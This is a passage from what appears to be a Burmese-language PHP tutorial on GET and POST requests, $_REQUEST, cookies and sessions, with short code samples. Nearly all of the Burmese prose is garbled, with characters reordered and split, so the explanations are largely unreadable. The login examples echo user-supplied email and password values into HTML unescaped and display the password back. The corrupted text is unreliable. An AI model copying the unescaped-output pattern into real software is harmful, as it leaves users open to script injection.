စရောမလို  ိတာပ့၊ဲ  Form  မာှ  တနဖ်ေိုးိတထွည့်သွငး်ိပးလိုက်ြယံုနဲ့  Browser  ကြ အလိုလို  Query  String  အပဖေစ်
ိပပာငး်ပပးီ  Request  လပု်ိ ပးသွားတဲ့ သိဘာပဖေစ်ပါတယ်။ ိရေးသားထားတဲ့  Code ကုိြ ဆက်ြလက်ြိလလ့ာအကြည့်ပါ
မယ်။ 

█ $email = $_GET['email']; 
█ $password = $_GET['password']; 
█ 
█ if($email && $password) 
█   echo "Hello, you have provided <b>$email</b> as your login ID ",
█        "and your password is <b>$password</b>."; 
█ else 
█   echo "Login ID or password missing! ",
█        "Please <a href='index.php'>try again</a>."; 

Form Input  မာှ  ထည့်သွငး်ထားတဲ့  တနဖ်ေိုးိတကွြ  Query  String  အပဖေစ်ိပပာငး်လသွဲားပပးီပဖေစ်လို့  ိပးပို့လာတဲ့
တနဖ်ေိုးိတကွြ  $_GET Variable  ထမဲာှ  Array  တစ်ခအုိနနဲ့  ိရောက်ြရေှိိ နမာှပဖေစ်ပါတယ်။ ပထမလိုငး်မာှ  $_GET
Array ရေဲ့  email Index မာှ ရေှိိ နတဲ့တနဖ်ေိုးကုိြ $email Variable ထကုိဲြ ထည့်သွငး်ိပးလိုက်ြပါတယ။် ဆက်ြလက်ြ
ပပးီ  $password Variable  ထဲကုိြလညး်  $_GET Array  ရေဲ့  password Index  မာှရေှိတဲ့တနဖ်ေိုးနဲ့  သတမ်တှ်
ထည့်သွငး် လိုက်ြပါတယ်။ 

မတ်ှချကြ် ။ ။ Query String နဲ့ပါဝငလ်ာတဲ့ တနဖ်ေိုးိတွကြို PHP ကြ $_GET Superglobal Variable ထဲမာှ အသင့်ထည့်သငွး်
ထားိပးိအကြာငး်ိဖောပ်ပခဲ့ပါတယ။် နားလညလွ်ယ်ိ အာင်ိ ပပာလုိကြတ်ာပါ။ အမနှ်ိ တာ့  Query String  မို့  $_GET Variable  နဲ့
လကြခ်တံာမဟတ်ုပါဘးူ။ URL Bar မာှ  URL တစခ်ထုည့်သငွး်လုိကြပ်ခငး်ဟာ GET Request  တစခ်ု ပပုလုပလုိ်ကြပ်ခငး် ပဖေစပ်ါ
တယ။်  Method  အထူးသတ်မတ်ှ  မထားရေင်  GET  ကြ  Default  Method  ပဖေစပ်ါတယ။်  တနညး်အားပဖေင့်  GET  Request
Method နဲ့ တဲွဖေကြပ်ါဝငလ်ာတ့ဲတနဖ်ေိုးိတွမို့  $_GET Variable ထဲမာှ လကြခ်ထံားိပးပခငး်ပဖေစတ်ယလုိ်ယ့ူဆမပှိုမနှပ်ါမယ။်

ိနာက်ြတစ်ဆင့်မာှ  $email နဲ့  $password နစ်ှခစုလုံးမာှတနဖ်ေိုးိတရွေှိိ နိအကြာငး်  ိသချာိအာင်  if() နဲ့စစ်
ိဆးလိုက်ြပါတယ်။  တနဖ်ေိုးိတကုိွြယ်စီရေှိိ နမယ်ဆုိရေင်  "Hello, " နဲ့အစပပုတဲ့  Message  တစ်ခကုိုြ ရုိက်ြထတု်
ခိုငး်ထားပပးီ $email သုိမ့ဟတု် $password တစ်ခခုမုာှ တနဖ်ေိုးိတရွေှိမိနရေင်ိ တာ ့else Block မာှိရေးထားတဲ့
"Login ID or password missing!"  အစပပုတဲ့  Message ကုိြရုိက်ြထတုခ်ိုငး်ထားပခငး်ပဖေစ်ပါတယ်။ ထူးပခားချက်ြ
အိနနဲ့  ရုိက်ြထတုလ်ိုတဲ့စာကြ ရေညှ်ိ နတဲ့အတက်ွြ  Comma  ခပံပးီ  နစ်ှိအကြာငး်ခွဲပပးီ  ရုိက်ြထတုထ်ားပါတယ်။  echo
Keyword ရေဲ့  ထူးပခားချက်ြတစ်ခပုါ။ စာိအကြာငး် သံုးိလးိအကြာငး်ကုိြ တစ်ဆက်ြတညး်ရုိက်ြထတုလ်ိုရေငန်မနူာမာှ သံုး
ပပထားသလို Comma ခပံပးီ တွဲဆက်ြရုိကြ ်ထုတသွ်ားနိုငပ်ါတယ။်
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မတ်ှချကြ် ။ ။ if Statement  အိအကြာငး်ိတာ့ အထူးထပမ်ရံေငှး်ပပဖေို့မလုိိတာဘ့းူလုိယ့ဆူပါတယ။်  အခနး်  (၄)  မာှ ိလ့လာခဲ့တ့ဲ
JavaScript if Statement ိရေးသားပုံနဲ့ အားလံုးအတူတူပပဲဖေစပ်ါတယ။် 

ရုိကြထ်တုတ်ဲ့  Message  ိတထွမဲာှ  HTML  Element  ိတကုိွြလညး်  ထည့်သွငး်ထားတာကုိြသတပိပုမမိာှပါ။
အထးူသပဖေင့် အသံုးပပုသူကြ  email သုိမ့ဟတု်  password ထည့်သွငး်ခဲ့ပခငး်မရေှတိဲ့အခါ ိဖောပ်ပတဲ့  Message  မာှ
try again ဆုိတဲ့ အပိုငး်ိလးကုိြ index.php ကုိြ ပပနသွ်ားလို့ရေတဲ့ Link ပဖေစ်ိအာင် <a> Element တစ်ခနုဲ့ ထည့်
သွငး်ိပးထားပါတယ်။  Form  မာှ  email,  password  အပပည့်အစံုရုိက်ြထည့်ပပးီ  စမး်သပသ်င့်  သလိုဘာမမှထည့်ပဲ
Submit Button နှိပပ်ပးီစမး်သပ ်အကြည့်နိုငပ်ါတယ်။

6.11 - POST Requests
ဆက်ြလက်ြပပးီ  index.php မာှ ိရေးသားထားတဲ့  <form> ရေဲ့  method ကုိြ  post  လ့ုိိပပာငး်ပပီးစမး်အကြည့်သင့်ပါ
တယ်။

<form action="login.php" method="post"> 
  <label for="email">Email (or) User ID</label><br> 
  <input type="text" name="email" id="email"><br> 

  <label for="password">Password</label><br> 
  <input type="password" name="password" id="password"><br><br> 

  <input type="submit" value="Login"> 
</form>

Request Method ိပပာငး်သွားပပမီို ့login.php ကုိြလညး် အနညး်ငယပ်ပုပပငဖ်ေို့လိုအပပ်ါတယ်။

<?php 
$email = $_POST['email']; 
$password = $_POST['password']; 

if($email && $password) 
  echo "Hello, you have provided <b>$email</b> as your login ID ",
       "and your password is <b>$password</b>."; 
else 
  echo "Login ID or password missing! ",
       "Please <a href='index.php'>try again</a>."; 
?>

$_GET Variable  အစား  $_POST Variable  နဲ့ိ ပပာငး်လအဲသံုးပပုလိုက်ြပခငး်ပဖေစ်ပါတယ်။  PHP  ကြ  Request
Method  GET  နဲ့တွဲဖေက်ြပါဝငလ်ာတဲ့  တနဖ်ေိုးိတကုိွြ  $_GET Superglobal  နဲ့  လက်ြခထံားိပးပပးီ  Request
Method POST နဲ့ တဲွဖေက်ြပါဝငလ်ာတဲ့ တနဖ်ေိုးိတကုိွြိတာ့ $_POST Superglobal နဲ့ လက်ြခထံားိပးတဲ့အတက်ွြ
ပဖေစ်ပါတယ်။ ပပငဆ်ငမ်ှု တပွပုလပုပ်ပးီ စမး်သပအ်ကြည့်ရေငလ်ညး် မလူအလပုလ်ပုပ်ုံအတိုငး် ဆက်ြလက်ြအလပုလ်ပုသွ်ား
တာကုိြ ိတွ့ရေမာှပဖေစ်ပါတယ်။
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ထးူပခားချက်ြနစ်ှခရုေှိပါတယ။်  Form  Method  ကြ  post ပဖေစ်သွားတဲ့အတက်ွြ  Submit  Button  ကုိြနှိပလ်ိုက်ြလို့
login.php ကုိြ  ိရောက်ြရေှိသွားတဲ့အခါ  Query String  ပါဝငလ်ာပခငး်မရေှိိ တာပ့ါဘူး။  POST Request  ိတမွာှ
လညး် တနဖ်ေိုးိတကုိွြ GET Request  ိတမွာှိပးပိုတ့ဲ့ ပုံစံအတိုငး်သာိပးပို့တာပါ။  Query String အိနနဲ့  URL
မာှ ထည့်သွငး်မိဖောပ်ပိတာပ့ဲ  Request Body  အိနနဲ့ ိပးပိုသွ့ားပခငး်ပဖေစပ်ါတယ်။  Submit Button  နှိပလ်ိုက်ြလို့
login.php ကုိြ ိရောက်ြရေှိိ နတဲ့ အချနိမ်ာှ  Keyborad  ကြိန F5  နှိပပ်ပးီိတာပ့ပဲဖေစ်ပဖေစ်၊  URL Bar  ကြ  Reload
Button  ကုိြ  နှိပပ်ပးီိတာပ့ပဲဖေစ်ပဖေစ်  Document  ကုိြ  Refresh  လပုလ်ိုက်ြတဲ့အခါ  ပုံ  (၆-န) မာှိဖောပ်ပထား  သလို
Confirm Message တစ်ခ ုရေရေှိမာှပဖေစ်ပါတယ်။

ပုံ (၆-န) POST Confirmation

index.php ကြ ိပးပို့လာတဲ့တနဖ်ေိုးိတ ွရေှိိ နတဲ့အတက်ွြ Document  ကုိြ  Reload  လပုပ်ခငး်အားပဖေင့် တနဖ်ေိုးိတွ
ကုိြ  Server  ကုိြ ိနာက်ြတစ်ကကိြမ်ိ ပးပို့သွားမာှပဖေစ်ိအကြာငး် အသိိပးပခင်းပဖေစ်ပါတယ်။  Request Data  ိတရွေှိိ နိပ
မယ့် အသံုးပပုသူကြ မပမငရ်ေတဲ့အတက်ွြ ိသချာိအာင်  Confirm  လပုတ်ဲ့သိဘာနဲ့ိ မးတာပဖေစ်ပါတယ်။ အသံုးပပုသူ
ကြ Resend Button ကုိြ နှိပမ်သှာ Server ကုိြ Data ိတ ွိနာက်ြတစ်ကကိြမ် ိပးပို့ပပးီ Document ကုိြလညး် Reload
လပု်ိ ပးသွားမာှ ပဖေစ်ပါတယ်။
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6.12 - $_REQUEST Superglobal
Request နဲ့အတပူါဝငလ်ာတဲ့ တနဖ်ေိုးိတကုိွြ Method မခွဲပခားပဲ လက်ြခထံားိပးတာကြိတာ့ $_REQUEST Super
global ပဖေစ်ပါတယ်။ ဥပမာ - ပပးီခဲ့တဲ့နမနူာကြ login.php ကုိြ အခလုိုပပင်ိ ရေးရေငလ်ညး် အလပုလ်ပုမ်ာှပါ။

<?php 
$email = $_REQUEST['email']; 
$password = $_REQUEST['password']; 

if($email && $password) 
  echo "Hello, you have provided <b>$email</b> as your login ID ",
       "and your password is <b>$password</b>."; 
else 
  echo "Login ID or password missing! ",
       "Please <a href='index.php'>try again</a>."; 
?>

GET  Request  ိတနွဲ့အတတူွဲဖေက်ြပါဝငလ်ာတဲ့  တနဖ်ေိုးိတကွြ  $_GET Superglobal  ထဲမာှ  ရေှိိ နသလို  POST
Request  ိတနွဲ့အတူ တွဲဖေက်ြပါဝငလ်ာတဲ့ တနဖ်ေိုးိတကွြ $_POST Superglobal ထဲမာှ ရေှိိ နမာှပဖေစ်ပါတယ်။ ဒါိပ
မယ့် PUT, DELETE စတဲ့ အပခား Method များနဲ့ိ ပးပိုလ့ာတဲ့  Request Value ိတကုိွြိတာ ့သီးပခားလက်ြခံိ ပး
တဲ့  Variable  မရေှိပါဘးူ။  ဒါိပမယ့်  $_REQUEST Superglobal  ကြ  Method  မခွဲပခားပဲ  လက်ြခံိ ပးလို့  PUT,
DELETE စတဲ့ Method များနဲ့ တဲွဖေက်ြအသံုးပပုနိုငပ်ါတယ။်

6.13 - Cookie and Session
HTTP  ဟာ  Pull Technology  တစ်မျို းပဖေစ်ပပးီ  Stateless  သဘာဝလညး်ရေှိိ အကြာငး်ကုိြ  အခနး်(၁) မာှ ိဖောပ်ပခဲ့ပါ
တယ်။  Pull Technology  ပဖေစ်တဲ့အတက်ွြ ဆက်ြသွယ်မှုကုိြ  Client  ကြသာ စတငရ်ေပပးီ၊  Stateless  သဘာဝပဖေစ်တဲ့
အတက်ွြ ဆက်ြသယ်ွမှု တစ်ကကိြမန်ဲ့တစ်ကကိြမဟ်ာ ဆက်ြစပမ်ှုမရေှိအကြပါဘးူ။ ဒအီကြန့်အသတ်ိ အကြာင့် အသံုးပပုသူကြ တစ်
ကကိြမန်ဲတ့စ်ကကိြမ်  ိပးပိုလ့ိုတဲ့  အချက်ြအလက်ြတညူီ  ိနရေငလ်ညး်  Request  တစ်ကကိြမလ်ပုတ်ိုငး်  တစ်ခါထပပ်ပးီ
ထည့်သွငး်ိပးပိုဖ့ေို့လိုအပမ်ာှပါ။  ဥပမာ  -  Website  တစ်ခကုြ  အမျို းသား၊  အမျို းသမးီစတဲ့  အသံုးပပုသူရေဲ့  ကြျား/မ
အိပခအိန ိပါ်မတူညပ်ပးီ  အချက်ြ  အလက်ြိတကုိွြိဖောပ်ပလိုတယ်  ဆုိပါစုိ၊့  အသံုးပပုသူကြ  သူဟာ  ကြျား  (သုိ)့  မ
ပဖေစ်ိအကြာငး် ိပးပိုမ့ှ  Server  ကြ သိခငွ့်ရေမာှ  ပဖေစ်ပါတယ။် တစ်ကကိြမသိ်ပပးီရေငလ်ညး်  Server  ကြ မတှသ်ားထားမာှ
မဟတုလ်ို့  (Stateless  ပဖေစ်ိနလို့)  ိနာက်ြတစ်ကကိြမ်  အ့ဲဒီ  Document  ကုိြ  Request  ပပနလ်ပုတ်ဲ့အခါ ကြျားလား၊ မ
လား၊ ိနာက်ြတစ်ကကိြမ် ထပအ်သိိပးရေပါဦးမယ်။ ိနာက်ြ ဘယ်နစ်ှကကိြမ်  Request  လပုလ်ပု် လုပတ်ိုငး်မာှ ဒတီညူတီဲ့
အချက်ြအလက်ြတစ်ခတုညး်ကုိြပဲ ထပခ်ါထပခ်ါ ိပးပိုရ့ေမာှ ပဖေစ်ပါ တယ်။

ဒပီပဿနာကုိြိပဖေရေငှး်ဖေို့  Cookie  အမညရ်ေတဲ့ နညး်ပညာတစ်မျို းကုိြ  HTTP  မာှ တဲွဖေက်ြထည့်သွငး်ိပးထားပါတယ်။
Cookie ဆုိတဲ့ အိခါ်အိဝါ်ဟာ Magic Cookie လ့ုိိခါ်တဲ့ ဆက်ြသွယ်ိ ရေးနညး်ပညာတစ်ရေပက်ြိန ဆငး်သက်ြလာ
ပခငး်ပဖေစ်ပါ  တယ်။  မလူ  Magic  Cookie  အမညကုိ်ြတထီငွခ်ဲ့သူဟာ  စားစရောကွြတကီ်ြးမနု့်ကြိန ဒအီမည်ိ ပးဖေို့
စိတကူ်ြးရေခဲ့ပုံရေပါတယ်။ ပုံ (၆-ပ) မာှ Cookie အမညရ်ေဲ့  မလူအစပဖေစ်မယ်လို့ယူဆရေတဲ့ အိနအထားတစ်ရေပကုိ်ြ ိဖောပ်ပ
ထားပါတယ်။ အတအိကြျ ကုိြးကြားစရော အချက်ြအလက်ြိတာ့  မိတွ့ရေှိရေပါဘးူ။ ကြျွန်ိ တာ့်အထငသ်က်ြသက်ြ ပဖေစ်ပါ
တယ်။
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ပုံ (၆-ပ) The Origin of the name HTTP Cookie

Cookie  နညး်ပညာကြအသံုးပပုသူရေဲ့  Web Browser  နဲ့အတူ အချက်ြအလက်ြိတတွွဲဖေက်ြသိမ်းဆညး် ထားနိုင်ိ စပါ
တယ်။ Server ကုိြ Request လုပတ်ိုငး် သိမး်ဆည်းထားတဲ့ အချက်ြအလက်ြိတကုိွြ Request နဲ့ အတူ Browser ကြ
အလို အိလျှာက်ြတွဲဖေက်ြထည့် သွငး်ိပးသွားမာှပဖေစ်ပါတယ်။ ဒါိအကြာင့် တညူတီဲ့အချက်ြအလက်ြိတကုိွြ ထပခ်ါထပခ်ါ
ိပးပို့ဖေို့လိုတဲ့ အခါ  Cookie အပဖေစ်သမိး် ဆညး်ထားလိုက်ြယံုပါပ။ဲ Browser ကြ Request လပုတ်ိုငး် ထည့်သွင်းိပး
ပို့မာှပဖေစ်လို့  အသံုးပပုသူကြ  Request  ိတထွမဲာှ  ထပခ်ါထပခ်ါ  ကုိြယ်တိုငထ်ည့်သွငး်ပပးီ  Server  ကုိြ  ိပးပိုိ့ နဖေို့  မ
လိုအပ်ိ တာပ့ါဘးူ။

PHP ဟာ Server-side မာှအလပုလ်ပုတ်ဲ့နညး်ပညာပဖေစ်ိပမယ့်ပပနလ်ည်ိ ပးပိုတ့ဲ့ Respond နဲ့အတူ အချက်ြအလက်ြ
ိတကုိွြ Browser Cookie အပဖေစ်သိမး်ဆညး်ိပးဖေို ့ညနွအ်ကြားနိုငပ်ါတယ်။ ိရေးသားရေတဲ့နညး်လမး်ကြ ဒလီိုပါ။

setcookie("gender", "male");

setcookie() Function အသံုးပပုပပးီ gender="male" ဆုိတဲ့ Cookie တနဖ်ေိုးတစ်ခု သတမ်တှ်ိ စလိုက်ြပခင်း
ပဖေစ်ပါတယ်။ ဒါိအကြာင့် ိနာက်ြပိုင်း Browser ကြိပးပိုတ့ဲ့ Request တိုငး်မာှ gender="male" ဆုိတဲ့တနဖ်ေိုး တစ်
ခု  အပမတဲွဲဖေက်ြပါဝင်ိ နမာှ  ပဖေစ်ပါတယ်။  Cookie  ဟာ  Request  နဲ့အတူ  ပါဝငလ်ာတဲ့အချက်ြအလက်ြပဖေစ်လို့
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$_REQUEST Superglobal ထဲမာှအပခား Request Data ိတနွဲ့အတူ Cookie တနဖ်ေိုးိတ ွလညး်တွဲဖေက်ြတညရ်ေှိိ န
မာှပဖေစ်ပါတယ်။ ဒါ့အပပင၊် PHP ကြ Cookie Data ိတကုိွြ $_COOKIE လ့ုိ အမညရ်ေတဲ့ ိနာက်ြထပ် Superglobal
Variable  တစ်ခနုဲ့လညး် ခွဲပခားထည့်သွငး်  ိပးထားပါိသးတယ်။ ဒါိအကြာင့်  ကြျွန်ိ တာတ်ို့  Code  ထဲမာှ  Cookie
တနဖ်ေိုးိတကုိွြ အခလုိုရေယူနိုငမ်ာှပဖေစ်ပါတယ်။

$sex = $_COOKIE["gender"];
if($sex == "male") {
  // do something
} else {
  // do something
}

Request  ဝငလ်ာတာနဲ့  Cookie  တနဖ်ေိုးိတကွြ  $_COOKIE Superglobal  ထမဲာှရေှိိ နမာှပဖေစ်လို့  $_COOKIE ရေဲ့
gender Index  ကြတနဖ်ေိုးကုိြ  $sex Variable  ထဲကုိြထည့်သွငး်ိပးလိုက်ြပပီး လိုအပသ်လိုဆကြလ်က်ြ ိဆာငရ်ေက်ွြ
ိစပခငး် ပဖေစ်ပါတယ်။

သတမ်တှထ်ားပပးီသား Cookie တနဖ်ေိုးကုိြ ပပုပပငလ်ိုရေင် setcookie() Function ကုိြ ိနာက်ြတစ်ကကိြမ် အသံုးပပု
လိုက်ြယံုပါပ။ဲ ဥပမာ - 

setcookie("gender", "m");

လိုိ့ နာက်ြတစ်ကကိြမသ်တမ်တှလ်ိုက်ြရေင်  မလူတနဖ်ေိုး  gender="male" ကြိန gender="m" အပဖေစ်  ိပပာငး်လဲ
သွားိစမာှပဖေစ်ပါတယ်။Cookie  အပဖေစ်သိမး်ဆညး်ဖေို့  တနဖ်ေိုးိတသွတမ်တှတ်ဲ့အခါ  Expire  Time  ထည့်သွငး်
သတမ်တှန်ိုငပ်ါတယ်။ သိမး်ဆညး်ထားတဲ့  Cookie  တနဖ်ေိုးဟာ ဘယ်အချနိထ်တိညရ်ေှိိ နိစမလဲ သတမ်တှ်ိ ပးပခငး်
ပဖေစ်ပါတယ်။ Expire Time ကုိြ setcookie() Function မာှ တစ်ခါတညး်တွဲဖေက်ြိပးလိုက်ြနိုငပ်ါတယ။် ဥပမာ - 

setcookie("gender", "female", time() + 3600);

Cookie  Name  နဲ့  Cookie  Value  ိနာက်ြမာှ  တတယိတနဖ်ေိုးအပဖေစ်  Expire  Time  ကုိြ  ထည့်ိ ပးရေတာပါ။
time() Function  ကြိပးလာတဲ့ လက်ြရေှိအချနိ်  Timestamp  ကုိြ  3600  နဲ့ိ ပါငး်ိပးထားတဲ့အတက်ွြ ဒီ  Cookie
ဟာ ိနာက်ြထပ် စကြ္ကန့်ိ ပါငး်  ၃၆၀၀  (တစ်နာရေီ)  တညရ်ေှိိ နမာှပဖေစ်ပါတယ်။ တစ်နာရေီိ ကြျာရ်ေင်ိ တာ့  Browser  ကြ
အလိုအိလျှာက်ြပယ် ဖေျက်ြလိုက်ြမာှပါ။ Expire Time ကုိြ ရေက်ြသတ္တ ပါတ် တစ်ပါတလ်ို့သတမ်တှလ်ိုရေငလ်ညး် အခလုို
သတမ်တှန်ိုငပ်ါတယ်။

setcookie("gender", "female", time() + 60 * 60 * 24 * 7);

တစ်ပါတမ်ာှရေှိတဲ့ စုစုိပါင်းစကြ္ကန့်အိရေအတက်ွြကုိြ ကုိြယ်တိုငတ်က်ွြချက်ြမိနိတာပ့ဲ  PHP ကုိြပဲ တက်ွြချက်ြခိုငး်လိုက်ြ
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ပခငး် ပဖေစ်ပါတယ်။ ဒလီိုသတမ်တှလ်ိုက်ြရေင်ိ တာ့ Cookie ဟာ ိနာက်ြထပ် တစ်ပါတတ်ာကြာလအထိ တညရ်ေှိိ နိစမာှ
ပဖေစ်ပါတယ်။ ဒါိပမယ့် တစ်ခသုတပိပုရေမာှကြ Cookie တနဖ်ေိုးိတကုိွြ ကြျွန်ိ တာတ်ို့ရေဲ့  App ကြသာမကြ အသံုးပပုသူ
ကြ လညး်ရေယူစီမနံိငုပ်ါတယ်။ Web Browser  မာှ  Cookie စီမနံိုငတ်ဲ့  Extension ိတထွည့်သွငး်ပပးီ စီမနံိုငသ်လို၊
အနညး်ဆံုး အိနနဲ့  Browser ိတမွာှပါတဲ့  "Clear Private Data" Option ကုိြသံုးပပးီ  Cookie ိတကုိွြ ပယ်ဖေျက်ြ
နိုငပ်ါတယ။် ဒါိအကြာင့် အသံုးပပုသူကြမပယ်ဖေျက်ြမသှာ ကြျွန်ိ တာတ်ို့ သတမ်တှထ်ားတဲ့ကြာလအထိ တညရ်ေှိမာှပဖေစ်ပပးီ
အသံုးပပုသူကြ ပယ်ဖေျက်ြမယ်ဆိုရေငလ်ညး် သတမ်တှ ်ကြာလမတိုငခ်င ်ပယ်ဖေျက်ြနိုငမ်ာှပဖေစ်ပါတယ်။

setcookie() Function  မာှ  Expire  Time  ကုိြ  ထည့်သွငး်မသတမ်တှခ်ဲ့ရေင်ိ တာ့  Cookie  တနဖ်ေိုးိတဟွာ
လက်ြရေှိ  အသံုးပပုိနတဲ့  Browser  ဖေငွ့်ထားသမျှတစ်ိလျှာက်ြလုံးတညရ်ေှိိ နမာှပဖေစ်ပပးီ  Browser  ပတိလ်ိုက်ြတာ  နဲ့
Cookie  တနဖ်ေိုး  ိတကုိွြလညး်  တစ်ပါတညး်  ပယ်ဖေျက်ြသွားမာှပဖေစ်ပါတယ်။  ပပးီိတာ့  Cookie  ဟာ  Browser  နဲ့
တွဲဖေက်ြသိမး်တာကုိြ သတပိပုပါ။ Firefox Web Browser နဲ့ အသံုးပပုစဉသိ်မး်ဆညး်ထားတဲ့  Cookie ဟာ Google
Chrome နဲ့ ဘယ်လိုမှ ပတသ်က်ြမာှမဟတုပ်ါဘးူ။

Cookie  တနဖ်ေိုးိတကုိွြ  ပယ်ဖေျက်ြိစလိုရေင်  setcookie() Function  ကုိြပဲ  အသံုးပပုပပးီ  Expire  Time  ကုိြ
Minus နဲ့ ိပးလိုက်ြရေပါတယ်။ ဒလီိုပါ  - 

setcookie("gender", "", time() - 3600);

တနညး်အားပဖေင့်  ဒီ  Cookie  ဟာ  လွနခ်ဲ့တဲ့  စကြ္ကန့်ိ ပါငး်  ၃၆၀၀  ကြတညး်ကြ  သက်ြတမး်ကုြနပ်ပးီပဖေစ်တယ်လို့
Browser  ကုိြ အသိိပးလိုက်ြပခငး်ပဖေစ်ပါတယ်။ ဒါိအကြာင့် ဒီ  Respond ကုိြ လက်ြခရံေရေှိတာနဲ့  Browser  ကြ Cookie
ကုိြ ချက်ြပခငး် ပယ်ဖေျက်ြလိုက်ြမာှပါ။

Cookie  နဲ့ သိဘာတရေားတတူဲ့ ိနာက်ြနညး်ပညာတစ်ခကုြိတာ့  Session  ပဖေစ်ပါတယ်။  Request  နဲ့အတူ အကကိြမ်
ကကိြမ်  ထည့်သွငး်ိပးဖေို့လိုတဲ့  အချက်ြအလက်ြိတကုိွြ  Session  Data  အပဖေစ်လညး်  သိမး်ဆညး်ထားနိုငပ်ါတယ်။
ထးူပခားချက်ြကြိတာ့ Session Data ိတကုိွြ Web Server မာှ သိမး်ဆညး်ပခငး်ပဖေစ်ပပီး Browser မာှ Session ID
လိုိ့ ခါ်တဲ့  Access Token  ကုိြသာသိမး်ဆညး်ပါတယ်။  Request  လပုလ်ိုက်ြတဲ့အခါ  Session ID ကြ Request  နဲ့
အတူ  တွဲဖေက်ြပါဝငသွ်ားမာှ  ပဖေစ်ပါတယ်။  Web  Server  ကြ  အ့ဲဒီ  Token  ကုိြ  အသံုးပပုပပးီ  သိမး်ဆည်းထားတဲ့
Session Data ိတကုိွြ ရေယူအသံုးပပုနိုငမ်ာှ ပဖေစ်ပါတယ။်

Cookie  နဲ့  Session  ဟာ  သိဘာတရေားအားပဖေင့်တပူပးီ  အိပခခကွံြာပခားချက်ြ  တစ်ချို ့ရေှိပါတယ်။  ပထမတစ်ချက်ြ
ကြိတာ့ ိပပာခဲ့ပပးီပဖေစ်တဲ့အတိုငး် Cookie တနဖ်ေိုးိတဟွာ Browser နဲ့အတူ တဲွဖေက်ြသိမ်းဆညး်ပပီး Session တနဖ်ေိုး
ိတကုိွြိတာ့  Web Server  နဲ့အတူ တဲွဖေက်ြသိမ်းဆညး်ပခင်းပဖေစ်ပါတယ်။ ိနာက်ြတစ်ချက်ြကြိတာ့  Cookie  ကြ စာ
ိတကုိွြသာ  တနဖ်ေိုးအပဖေစ်လက်ြခနံိုငပ်ပးီ  Session  ကြိတာ့  Server-side  မာှသိမ်းတာပဖေစ်လို့  စာအပပင်  PHP
Variable ိတနွဲ့ Object ိတ ွကုိြပါ လက်ြခသိံမး်ဆညး်ထားနိုင် ပါတယ်။ ိနာက်ြဆံုးတစ်ချက်ြကြိတာ့ Cookie တန်
ဖေိုးိတကုိွြ Expire Time သတမ်တှထ်ားိပးနိုင်ိ ပမယ့် Session တနဖ်ေိုး ိတမွာှ Expire Time သတမ်တှထ်ားလို့မ
ရေပါဘးူ။  Browser  ဖေငွ့်ထားခိုက်ြသာ  တနဖ်ေိုးိတရွေှိိ နမာှပဖေစ်ပပးီ  Browser  ပတိလ်ိုက်ြ  ရေင်  Session  တနဖ်ေိုး  ိတွ
လညး် ကွြယ်ိပျာက်ြသွားမာှပဖေစ်ပါတယ။်
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Cookie နဲ့  Session မာှ အားသာချက်ြအား နညး်ချက်ြ ကုိြယ်စီရေှိအကြပါိသးတယ်။  Cookie တနဖ်ေိုးိတကွြ Client-
side  ပဖေစ်တဲ့  Browser  မာှရေှိိ နတာမို့  Request  လပုတ်ိုငး်  အ့ဲဒတီနဖ်ေိုးိတကုိွြ  ထည့်သွငး်ပပးီ  ပို့ပို့ိ နရေလို့  Client-
Server ဆက်ြသွယ်မှုအပမနန်ှုနး်ိပါ် သက်ြိရောက်ြနိုငပ်ါတယ။် Session ကြိတာ့ Server-side မာှသိမး်လို့ ဒပီပဿနာ
မရေှိိ တာပ့ါဘူး။  ဒါိပမယ့်  Session  တနဖ်ေိုးိတကုိွြ  Server  ကွြနပ်ျူတာရေဲ့  Storage  အသံုးပပုပပးီသိမး်ဆညး်မာှမို့
အသံုးပပုသူများ လာတာနဲ့ အမျှ  Server  မာှ ဝနပ်ဖေစ်လာိစနိုငပ်ါတယ်။  Cookie  ကြိတာ့ အသံုးပပုသူ တစ်သနး်ရေှိ
လညး် အချက်ြအလက်ြိတကုိွြ  Browser  တစ်သနး်မာှ ခွဲသိမး်ထားတာမို့ ဒပီပဿနာမရေှိိ တာပ့ပနပ်ါဘးူ။ ိရေးသားသူ
Developer ရေဲ့  ဆံုးပဖေတခ်ျက်ြ သာ အဓကိြကြျပပီး လုိအပခ်ျက်ြနဲ့အညီ ိရေးွချယ်အသံုးပပုနိုငပ်ါတယ။်

session_start() Function  ကုိြိခါ်ယူလိုက်ြတာနဲ့  PHP  ကြ  Session  တနဖ်ေိုးအားလုံးကြို  $_SESSION နဲ့
ထည့်သွငး်ထားိပးပါတယ်။ ဒါိအကြာင့်  Session  တနဖ်ေိုးိတကုိွြရေယူစီမလံိုတိုငး်  session_start() Function
ိခါ် ယူိပးရေပါတယ်။ Session တနဖ်ေိုးိတကုိွြ ဒလီိုသတမ်တှ် နိုငပ်ါတယ။်

session_start();
$_SESSION["gender"] = "male";

session_start() Function  ကုိြိခါ်ယူပပီးတာနဲ့  $_SESSION Superglobal  ရေဲ့  Index  တစ်ခထုကုိဲြ
ထည့်သွငး်လိုတဲ့တနဖ်ေိုး  တိုက်ြရုိက်ြထည့်သွငး်လိုက်ြပခင်း  ပဖေစ်ပါတယ်။  setcookie() က့ဲြသုိ့  တနဖ်ေိုးသတမ်တှတ်ဲ့
Function တစ်ခ ုသီးပခားမလိုအပပ်ါဘးူ။ Session တနဖ်ေိုးိတ ွပပနလ်ညရ်ေယူရေငလ်ညး် ဒအီတိုငး်ပဲ ရေယူနိုငပ်ါတယ်။

session_start();
$sex = $_SESSION["gender"];
if($sex == "male") {
  // do something
} else {
  // do something
}

Session  တနဖ်ေိုးသတမ်တှလ်ိုတာပပဲဖေစ်ပဖေစ်၊  ရေယူအသံုးပပုလိုတာပဲ  ပဖေစ်ပဖေစ်  session_start() Function  ကုိြ
ဦးဆုံး  ိခါ်ယူိပးရေပါတယ်။  session_start() Function  ကုိြိခါ်ယူလိုက်ြပခင်းကြ  "Session  တနဖ်ေိုးိတကုိွြ
စီမပံါိတာမ့ယ်" လို့ ိအကြပငာတဲ့သိဘာပဖေစ်ပါတယ်။ Session တနဖ်ေိုးိတပွယ်ဖေျက်ြလိုရေင်ိ တာ ့အခလုိုပယ်ဖေျက်ြနိုငပ်ါ
တယ်။

session_start();
unset( $_SESSION["gender"] );

unset() Function ကုိြ သံုးထားပါတယ်။ အမနှ်ိ တာ့ unset() Function ကြ Array Index တစ်ခု သုိမ့ဟတု်
Variable  တစ်ခကုိုြ  ပယ်ဖေျက်ြိစလိုရေငသံု်းတဲ့  Function  ပဖေစ်ပါတယ်။  Session  တနဖ်ေိုးမမှဟတုပ်ါဘးူ၊  အပခား
